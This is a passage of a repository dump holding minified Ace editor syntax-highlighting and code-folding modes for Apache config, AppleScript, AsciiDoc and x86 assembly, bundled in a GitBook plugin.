\\\b\"},{token:\"keyword.rewrite.apacheconf\",regex:\"\\\\b(?:RewriteBase|RewriteCond|RewriteEngine|RewriteLock|RewriteLog|RewriteLogLevel|RewriteMap|RewriteOptions|RewriteRule)\\\\b\"},{token:\"keyword.setenvif.apacheconf\",regex:\"\\\\b(?:BrowserMatch|BrowserMatchNoCase|SetEnvIf|SetEnvIfNoCase)\\\\b\"},{token:\"keyword.so.apacheconf\",regex:\"\\\\b(?:LoadFile|LoadModule)\\\\b\"},{token:\"keyword.ssl.apacheconf\",regex:\"\\\\b(?:SSLCACertificateFile|SSLCACertificatePath|SSLCARevocationFile|SSLCARevocationPath|SSLCertificateChainFile|SSLCertificateFile|SSLCertificateKeyFile|SSLCipherSuite|SSLEngine|SSLMutex|SSLOptions|SSLPassPhraseDialog|SSLProtocol|SSLProxyCACertificateFile|SSLProxyCACertificatePath|SSLProxyCARevocationFile|SSLProxyCARevocationPath|SSLProxyCipherSuite|SSLProxyEngine|SSLProxyMachineCertificateFile|SSLProxyMachineCertificatePath|SSLProxyProtocol|SSLProxyVerify|SSLProxyVerifyDepth|SSLRandomSeed|SSLRequire|SSLRequireSSL|SSLSessionCache|SSLSessionCacheTimeout|SSLUserName|SSLVerifyClient|SSLVerifyDepth)\\\\b\"},{token:\"keyword.usertrack.apacheconf\",regex:\"\\\\b(?:CookieDomain|CookieExpires|CookieName|CookieStyle|CookieTracking)\\\\b\"},{token:\"keyword.vhost_alias.apacheconf\",regex:\"\\\\b(?:VirtualDocumentRoot|VirtualDocumentRootIP|VirtualScriptAlias|VirtualScriptAliasIP)\\\\b\"},{token:[\"keyword.php.apacheconf\",\"text\",\"entity.property.apacheconf\",\"text\",\"string.value.apacheconf\",\"text\"],regex:\"\\\\b(php_value|php_flag)\\\\b(?:(\\\\s+)(.+?)(?:(\\\\s+)(.+?))?)?(\\\\s)\"},{token:[\"punctuation.variable.apacheconf\",\"variable.env.apacheconf\",\"variable.misc.apacheconf\",\"punctuation.variable.apacheconf\"],regex:\"(%\\\\{)(?:(HTTP_USER_AGENT|HTTP_REFERER|HTTP_COOKIE|HTTP_FORWARDED|HTTP_HOST|HTTP_PROXY_CONNECTION|HTTP_ACCEPT|REMOTE_ADDR|REMOTE_HOST|REMOTE_PORT|REMOTE_USER|REMOTE_IDENT|REQUEST_METHOD|SCRIPT_FILENAME|PATH_INFO|QUERY_STRING|AUTH_TYPE|DOCUMENT_ROOT|SERVER_ADMIN|SERVER_NAME|SERVER_ADDR|SERVER_PORT|SERVER_PROTOCOL|SERVER_SOFTWARE|TIME_YEAR|TIME_MON|TIME_DAY|TIME_HOUR|TIME_MIN|TIME_SEC|TIME_WDAY|TIME|API_VERSION|THE_REQUEST|REQUEST_URI|REQUEST_FILENAME|IS_SUBREQ|HTTPS)|(.*?))(\\\\})\"},{token:[\"entity.mime-type.apacheconf\",\"text\"],regex:\"\\\\b((?:text|image|application|video|audio)/.+?)(\\\\s)\"},{token:\"entity.helper.apacheconf\",regex:\"\\\\b(?:from|unset|set|on|off)\\\\b\",caseInsensitive:!0},{token:\"constant.integer.apacheconf\",regex:\"\\\\b\\\\d+\\\\b\"},{token:[\"text\",\"punctuation.definition.flag.apacheconf\",\"string.flag.apacheconf\",\"punctuation.definition.flag.apacheconf\",\"text\"],regex:\"(\\\\s)(\\\\[)(.*?)(\\\\])(\\\\s)\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"conf\",\"CONF\",\"htaccess\",\"HTACCESS\",\"htgroups\",\"HTGROUPS\",\"htpasswd\",\"HTPASSWD\",\".htaccess\",\".HTACCESS\",\".htgroups\",\".HTGROUPS\",\".htpasswd\",\".HTPASSWD\"],name:\"Apache Conf\",scopeName:\"source.apacheconf\"},r.inherits(s,i),t.ApacheConfHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/apache_conf\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/apache_conf_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./apache_conf_highlight_rules\").ApacheConfHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/apache_conf\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-applescript.js",
    "content": "define(\"ace/mode/applescript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"about|above|after|against|and|around|as|at|back|before|beginning|behind|below|beneath|beside|between|but|by|considering|contain|contains|continue|copy|div|does|eighth|else|end|equal|equals|error|every|exit|fifth|first|for|fourth|from|front|get|given|global|if|ignoring|in|into|is|it|its|last|local|me|middle|mod|my|ninth|not|of|on|onto|or|over|prop|property|put|ref|reference|repeat|returning|script|second|set|seventh|since|sixth|some|tell|tenth|that|the|then|third|through|thru|timeout|times|to|transaction|try|until|where|while|whose|with|without\",t=\"AppleScript|false|linefeed|return|pi|quote|result|space|tab|true\",n=\"activate|beep|count|delay|launch|log|offset|read|round|run|say|summarize|write\",r=\"alias|application|boolean|class|constant|date|file|integer|list|number|real|record|string|text|character|characters|contents|day|frontmost|id|item|length|month|name|paragraph|paragraphs|rest|reverse|running|time|version|weekday|word|words|year\",i=this.createKeywordMapper({\"support.function\":n,\"constant.language\":t,\"support.type\":r,keyword:e},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",regex:\"\\\\(\\\\*\",next:\"comment\"},{token:\"string\",regex:'\".*?\"'},{token:\"support.type\",regex:\"\\\\b(POSIX file|POSIX path|(date|time) string|quoted form)\\\\b\"},{token:\"support.function\",regex:\"\\\\b(clipboard info|the clipboard|info for|list (disks|folder)|mount volume|path to|(close|open for) access|(get|set) eof|current date|do shell script|get volume settings|random number|set volume|system attribute|system info|time to GMT|(load|run|store) script|scripting components|ASCII (character|number)|localized string|choose (application|color|file|file name|folder|from list|remote application|URL)|display (alert|dialog))\\\\b|^\\\\s*return\\\\b\"},{token:\"constant.language\",regex:\"\\\\b(text item delimiters|current application|missing value)\\\\b\"},{token:\"keyword\",regex:\"\\\\b(apart from|aside from|instead of|out of|greater than|isn't|(doesn't|does not) (equal|come before|come after|contain)|(greater|less) than( or equal)?|(starts?|ends|begins?) with|contained by|comes (before|after)|a (ref|reference))\\\\b\"},{token:i,regex:\"[a-zA-Z][a-zA-Z0-9_]*\\\\b\"}],comment:[{token:\"comment\",regex:\"\\\\*\\\\)\",next:\"start\"},{defaultToken:\"comment\"}]},this.normalizeRules()};r.inherits(s,i),t.AppleScriptHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/applescript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/tokenizer\",\"ace/mode/applescript_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"../tokenizer\").Tokenizer,o=e(\"./applescript_highlight_rules\").AppleScriptHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"(*\",end:\"*)\"},this.$id=\"ace/mode/applescript\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-asciidoc.js",
    "content": "define(\"ace/mode/asciidoc_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){function t(e){var t=/\\w/.test(e)?\"\\\\b\":\"(?:\\\\B|^)\";return t+e+\"[^\"+e+\"].*?\"+e+\"(?![\\\\w*])\"}var e=\"[a-zA-Z\\u00a1-\\uffff]+\\\\b\";this.$rules={start:[{token:\"empty\",regex:/$/},{token:\"literal\",regex:/^\\.{4,}\\s*$/,next:\"listingBlock\"},{token:\"literal\",regex:/^-{4,}\\s*$/,next:\"literalBlock\"},{token:\"string\",regex:/^\\+{4,}\\s*$/,next:\"passthroughBlock\"},{token:\"keyword\",regex:/^={4,}\\s*$/},{token:\"text\",regex:/^\\s*$/},{token:\"empty\",regex:\"\",next:\"dissallowDelimitedBlock\"}],dissallowDelimitedBlock:[{include:\"paragraphEnd\"},{token:\"comment\",regex:\"^//.+$\"},{token:\"keyword\",regex:\"^(?:NOTE|TIP|IMPORTANT|WARNING|CAUTION):\"},{include:\"listStart\"},{token:\"literal\",regex:/^\\s+.+$/,next:\"indentedBlock\"},{token:\"empty\",regex:\"\",next:\"text\"}],paragraphEnd:[{token:\"doc.comment\",regex:/^\\/{4,}\\s*$/,next:\"commentBlock\"},{token:\"tableBlock\",regex:/^\\s*[|!]=+\\s*$/,next:\"tableBlock\"},{token:\"keyword\",regex:/^(?:--|''')\\s*$/,next:\"start\"},{token:\"option\",regex:/^\\[.*\\]\\s*$/,next:\"start\"},{token:\"pageBreak\",regex:/^>{3,}$/,next:\"start\"},{token:\"literal\",regex:/^\\.{4,}\\s*$/,next:\"listingBlock\"},{token:\"titleUnderline\",regex:/^(?:={2,}|-{2,}|~{2,}|\\^{2,}|\\+{2,})\\s*$/,next:\"start\"},{token:\"singleLineTitle\",regex:/^={1,5}\\s+\\S.*$/,next:\"start\"},{token:\"otherBlock\",regex:/^(?:\\*{2,}|_{2,})\\s*$/,next:\"start\"},{token:\"optionalTitle\",regex:/^\\.[^.\\s].+$/,next:\"start\"}],listStart:[{token:\"keyword\",regex:/^\\s*(?:\\d+\\.|[a-zA-Z]\\.|[ixvmIXVM]+\\)|\\*{1,5}|-|\\.{1,5})\\s/,next:\"listText\"},{token:\"meta.tag\",regex:/^.+(?::{2,4}|;;)(?: |$)/,next:\"listText\"},{token:\"support.function.list.callout\",regex:/^(?:<\\d+>|\\d+>|>) /,next:\"text\"},{token:\"keyword\",regex:/^\\+\\s*$/,next:\"start\"}],text:[{token:[\"link\",\"variable.language\"],regex:/((?:https?:\\/\\/|ftp:\\/\\/|file:\\/\\/|mailto:|callto:)[^\\s\\[]+)(\\[.*?\\])/},{token:\"link\",regex:/(?:https?:\\/\\/|ftp:\\/\\/|file:\\/\\/|mailto:|callto:)[^\\s\\[]+/},{token:\"link\",regex:/\\b[\\w\\.\\/\\-]+@[\\w\\.\\/\\-]+\\b/},{include:\"macros\"},{include:\"paragraphEnd\"},{token:\"literal\",regex:/\\+{3,}/,next:\"smallPassthrough\"},{token:\"escape\",regex:/\\((?:C|TM|R)\\)|\\.{3}|->|<-|=>|<=|&#(?:\\d+|x[a-fA-F\\d]+);|(?: |^)--(?=\\s+\\S)/},{token:\"escape\",regex:/\\\\[_*'`+#]|\\\\{2}[_*'`+#]{2}/},{token:\"keyword\",regex:/\\s\\+$/},{token:\"text\",regex:e},{token:[\"keyword\",\"string\",\"keyword\"],regex:/(<<[\\w\\d\\-$]+,)(.*?)(>>|$)/},{token:\"keyword\",regex:/<<[\\w\\d\\-$]+,?|>>/},{token:\"constant.character\",regex:/\\({2,3}.*?\\){2,3}/},{token:\"keyword\",regex:/\\[\\[.+?\\]\\]/},{token:\"support\",regex:/^\\[{3}[\\w\\d =\\-]+\\]{3}/},{include:\"quotes\"},{token:\"empty\",regex:/^\\s*$/,next:\"start\"}],listText:[{include:\"listStart\"},{include:\"text\"}],indentedBlock:[{token:\"literal\",regex:/^[\\s\\w].+$/,next:\"indentedBlock\"},{token:\"literal\",regex:\"\",next:\"start\"}],listingBlock:[{token:\"literal\",regex:/^\\.{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"constant.numeric\",regex:\"<\\\\d+>\"},{token:\"literal\",regex:\"[^<]+\"},{token:\"literal\",regex:\"<\"}],literalBlock:[{token:\"literal\",regex:/^-{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"constant.numeric\",regex:\"<\\\\d+>\"},{token:\"literal\",regex:\"[^<]+\"},{token:\"literal\",regex:\"<\"}],passthroughBlock:[{token:\"literal\",regex:/^\\+{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"literal\",regex:e+\"|\\\\d+\"},{include:\"macros\"},{token:\"literal\",regex:\".\"}],smallPassthrough:[{token:\"literal\",regex:/[+]{3,}/,next:\"dissallowDelimitedBlock\"},{token:\"literal\",regex:/^\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"literal\",regex:e+\"|\\\\d+\"},{include:\"macros\"}],commentBlock:[{token:\"doc.comment\",regex:/^\\/{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"doc.comment\",regex:\"^.*$\"}],tableBlock:[{token:\"tableBlock\",regex:/^\\s*\\|={3,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"tableBlock\",regex:/^\\s*!={3,}\\s*$/,next:\"innerTableBlock\"},{token:\"tableBlock\",regex:/\\|/},{include:\"text\",noEscape:!0}],innerTableBlock:[{token:\"tableBlock\",regex:/^\\s*!={3,}\\s*$/,next:\"tableBlock\"},{token:\"tableBlock\",regex:/^\\s*|={3,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"tableBlock\",regex:/\\!/}],macros:[{token:\"macro\",regex:/{[\\w\\-$]+}/},{token:[\"text\",\"string\",\"text\",\"constant.character\",\"text\"],regex:/({)([\\w\\-$]+)(:)?(.+)?(})/},{token:[\"text\",\"markup.list.macro\",\"keyword\",\"string\"],regex:/(\\w+)(footnote(?:ref)?::?)([^\\s\\[]+)?(\\[.*?\\])?/},{token:[\"markup.list.macro\",\"keyword\",\"string\"],regex:/([a-zA-Z\\-][\\w\\.\\/\\-]*::?)([^\\s\\[]+)(\\[.*?\\])?/},{token:[\"markup.list.macro\",\"keyword\"],regex:/([a-zA-Z\\-][\\w\\.\\/\\-]+::?)(\\[.*?\\])/},{token:\"keyword\",regex:/^:.+?:(?= |$)/}],quotes:[{token:\"string.italic\",regex:/__[^_\\s].*?__/},{token:\"string.italic\",regex:t(\"_\")},{token:\"keyword.bold\",regex:/\\*\\*[^*\\s].*?\\*\\*/},{token:\"keyword.bold\",regex:t(\"\\\\*\")},{token:\"literal\",regex:t(\"\\\\+\")},{token:\"literal\",regex:/\\+\\+[^+\\s].*?\\+\\+/},{token:\"literal\",regex:/\\$\\$.+?\\$\\$/},{token:\"literal\",regex:t(\"`\")},{token:\"keyword\",regex:t(\"^\")},{token:\"keyword\",regex:t(\"~\")},{token:\"keyword\",regex:/##?/},{token:\"keyword\",regex:/(?:\\B|^)``|\\b''/}]};var n={macro:\"constant.character\",tableBlock:\"doc.comment\",titleUnderline:\"markup.heading\",singleLineTitle:\"markup.heading\",pageBreak:\"string\",option:\"string.regexp\",otherBlock:\"markup.list\",literal:\"support.function\",optionalTitle:\"constant.numeric\",escape:\"constant.language.escape\",link:\"markup.underline.list\"};for(var r in this.$rules){var i=this.$rules[r];for(var s=i.length;s--;){var o=i[s];if(o.include||typeof o==\"string\"){var u=[s,1].concat(this.$rules[o.include||o]);o.noEscape&&(u=u.filter(function(e){return!e.next})),i.splice.apply(i,u)}else o.token in n&&(o.token=n[o.token])}}};r.inherits(s,i),t.AsciidocHighlightRules=s}),define(\"ace/mode/folding/asciidoc\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.foldingStartMarker=/^(?:\\|={10,}|[\\.\\/=\\-~^+]{4,}\\s*$|={1,5} )/,this.singleLineHeadingRe=/^={1,5}(?=\\s+\\S)/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);return this.foldingStartMarker.test(r)?r[0]==\"=\"?this.singleLineHeadingRe.test(r)?\"start\":e.getLine(n-1).length!=e.getLine(n).length?\"\":\"start\":e.bgTokenizer.getState(n)==\"dissallowDelimitedBlock\"?\"end\":\"start\":\"\"},this.getFoldWidgetRange=function(e,t,n){function l(t){return f=e.getTokens(t)[0],f&&f.type}function d(){var t=f.value.match(p);if(t)return t[0].length;var r=c.indexOf(f.value[0])+1;return r==1&&e.getLine(n-1).length!=e.getLine(n).length?Infinity:r}var r=e.getLine(n),i=r.length,o=e.getLength(),u=n,a=n;if(!r.match(this.foldingStartMarker))return;var f,c=[\"=\",\"-\",\"~\",\"^\",\"+\"],h=\"markup.heading\",p=this.singleLineHeadingRe;if(l(n)==h){var v=d();while(++n<o){if(l(n)!=h)continue;var m=d();if(m<=v)break}var g=f&&f.value.match(this.singleLineHeadingRe);a=g?n-1:n-2;if(a>u)while(a>u&&(!l(a)||f.value[0]==\"[\"))a--;if(a>u){var y=e.getLine(a).length;return new s(u,i,a,y)}}else{var b=e.bgTokenizer.getState(n);if(b==\"dissallowDelimitedBlock\"){while(n-->0)if(e.bgTokenizer.getState(n).lastIndexOf(\"Block\")==-1)break;a=n+1;if(a<u){var y=e.getLine(n).length;return new s(a,5,u,i-5)}}else{while(++n<o)if(e.bgTokenizer.getState(n)==\"dissallowDelimitedBlock\")break;a=n;if(a>u){var y=e.getLine(n).length;return new s(u,5,a,y-5)}}}}}.call(o.prototype)}),define(\"ace/mode/asciidoc\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/asciidoc_highlight_rules\",\"ace/mode/folding/asciidoc\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./asciidoc_highlight_rules\").AsciidocHighlightRules,o=e(\"./folding/asciidoc\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.type=\"text\",this.getNextLineIndent=function(e,t,n){if(e==\"listblock\"){var r=/^((?:.+)?)([-+*][ ]+)/.exec(t);return r?(new Array(r[1].length+1)).join(\" \")+r[2]:\"\"}return this.$getIndent(t)},this.$id=\"ace/mode/asciidoc\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-assembly_x86.js",
    "content": "define(\"ace/mode/assembly_x86_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"keyword.control.assembly\",regex:\"\\\\b(?:aaa|aad|aam|aas|adc|add|addpd|addps|addsd|addss|addsubpd|addsubps|aesdec|aesdeclast|aesenc|aesenclast|aesimc|aeskeygenassist|and|andpd|andps|andnpd|andnps|arpl|blendpd|blendps|blendvpd|blendvps|bound|bsf|bsr|bswap|bt|btc|btr|bts|cbw|cwde|cdqe|clc|cld|cflush|clts|cmc|cmov(?:n?e|ge?|ae?|le?|be?|n?o|n?z)|cmp|cmppd|cmpps|cmps|cnpsb|cmpsw|cmpsd|cmpsq|cmpss|cmpxchg|cmpxchg8b|cmpxchg16b|comisd|comiss|cpuid|crc32|cvtdq2pd|cvtdq2ps|cvtpd2dq|cvtpd2pi|cvtpd2ps|cvtpi2pd|cvtpi2ps|cvtps2dq|cvtps2pd|cvtps2pi|cvtsd2si|cvtsd2ss|cvts2sd|cvtsi2ss|cvtss2sd|cvtss2si|cvttpd2dq|cvtpd2pi|cvttps2dq|cvttps2pi|cvttps2dq|cvttps2pi|cvttsd2si|cvttss2si|cwd|cdq|cqo|daa|das|dec|div|divpd|divps|divsd|divss|dppd|dpps|emms|enter|extractps|f2xm1|fabs|fadd|faddp|fiadd|fbld|fbstp|fchs|fclex|fnclex|fcmov(?:n?e|ge?|ae?|le?|be?|n?o|n?z)|fcom|fcmop|fcompp|fcomi|fcomip|fucomi|fucomip|fcos|fdecstp|fdiv|fdivp|fidiv|fdivr|fdivrp|fidivr|ffree|ficom|ficomp|fild|fincstp|finit|fnint|fist|fistp|fisttp|fld|fld1|fldl2t|fldl2e|fldpi|fldlg2|fldln2|fldz|fldcw|fldenv|fmul|fmulp|fimul|fnop|fpatan|fprem|fprem1|fptan|frndint|frstor|fsave|fnsave|fscale|fsin|fsincos|fsqrt|fst|fstp|fstcw|fnstcw|fstenv|fnstenv|fsts|fnstsw|fsub|fsubp|fisub|fsubr|fsubrp|fisubr|ftst|fucom|fucomp|fucompp|fxam|fxch|fxrstor|fxsave|fxtract|fyl2x|fyl2xp1|haddpd|haddps|husbpd|hsubps|idiv|imul|in|inc|ins|insb|insw|insd|insertps|int|into|invd|invplg|invpcid|iret|iretd|iretq|lahf|lar|lddqu|ldmxcsr|lds|les|lfs|lgs|lss|lea|leave|lfence|lgdt|lidt|llgdt|lmsw|lock|lods|lodsb|lodsw|lodsd|lodsq|lsl|ltr|maskmovdqu|maskmovq|maxpd|maxps|maxsd|maxss|mfence|minpd|minps|minsd|minss|monitor|mov|movapd|movaps|movbe|movd|movq|movddup|movdqa|movdqu|movq2q|movhlps|movhpd|movhps|movlhps|movlpd|movlps|movmskpd|movmskps|movntdqa|movntdq|movnti|movntpd|movntps|movntq|movq|movq2dq|movs|movsb|movsw|movsd|movsq|movsd|movshdup|movsldup|movss|movsx|movsxd|movupd|movups|movzx|mpsadbw|mul|mulpd|mulps|mulsd|mulss|mwait|neg|not|or|orpd|orps|out|outs|outsb|outsw|outsd|pabsb|pabsw|pabsd|packsswb|packssdw|packusdw|packuswbpaddb|paddw|paddd|paddq|paddsb|paddsw|paddusb|paddusw|palignr|pand|pandn|pause|pavgb|pavgw|pblendvb|pblendw|pclmulqdq|pcmpeqb|pcmpeqw|pcmpeqd|pcmpeqq|pcmpestri|pcmpestrm|pcmptb|pcmptgw|pcmpgtd|pcmpgtq|pcmpistri|pcmpisrm|pextrb|pextrd|pextrq|pextrw|phaddw|phaddd|phaddsw|phinposuw|phsubw|phsubd|phsubsw|pinsrb|pinsrd|pinsrq|pinsrw|pmaddubsw|pmadddwd|pmaxsb|pmaxsd|pmaxsw|pmaxsw|pmaxub|pmaxud|pmaxuw|pminsb|pminsd|pminsw|pminub|pminud|pminuw|pmovmskb|pmovsx|pmovzx|pmuldq|pmulhrsw|pmulhuw|pmulhw|pmulld|pmullw|pmuludw|pop|popa|popad|popcnt|popf|popfd|popfq|por|prefetch|psadbw|pshufb|pshufd|pshufhw|pshuflw|pshufw|psignb|psignw|psignd|pslldq|psllw|pslld|psllq|psraw|psrad|psrldq|psrlw|psrld|psrlq|psubb|psubw|psubd|psubq|psubsb|psubsw|psubusb|psubusw|test|ptest|punpckhbw|punpckhwd|punpckhdq|punpckhddq|punpcklbw|punpcklwd|punpckldq|punpckldqd|push|pusha|pushad|pushf|pushfd|pxor|prcl|rcr|rol|ror|rcpps|rcpss|rdfsbase|rdgsbase|rdmsr|rdpmc|rdrand|rdtsc|rdtscp|rep|repe|repz|repne|repnz|roundpd|roundps|roundsd|roundss|rsm|rsqrps|rsqrtss|sahf|sal|sar|shl|shr|sbb|scas|scasb|scasw|scasd|set(?:n?e|ge?|ae?|le?|be?|n?o|n?z)|sfence|sgdt|shld|shrd|shufpd|shufps|sidt|sldt|smsw|sqrtpd|sqrtps|sqrtsd|sqrtss|stc|std|stmxcsr|stos|stosb|stosw|stosd|stosq|str|sub|subpd|subps|subsd|subss|swapgs|syscall|sysenter|sysexit|sysret|teset|ucomisd|ucomiss|ud2|unpckhpd|unpckhps|unpcklpd|unpcklps|vbroadcast|vcvtph2ps|vcvtp2sph|verr|verw|vextractf128|vinsertf128|vmaskmov|vpermilpd|vpermilps|vperm2f128|vtestpd|vtestps|vzeroall|vzeroupper|wait|fwait|wbinvd|wrfsbase|wrgsbase|wrmsr|xadd|xchg|xgetbv|xlat|xlatb|xor|xorpd|xorps|xrstor|xsave|xsaveopt|xsetbv|lzcnt|extrq|insertq|movntsd|movntss|vfmaddpd|vfmaddps|vfmaddsd|vfmaddss|vfmaddsubbpd|vfmaddsubps|vfmsubaddpd|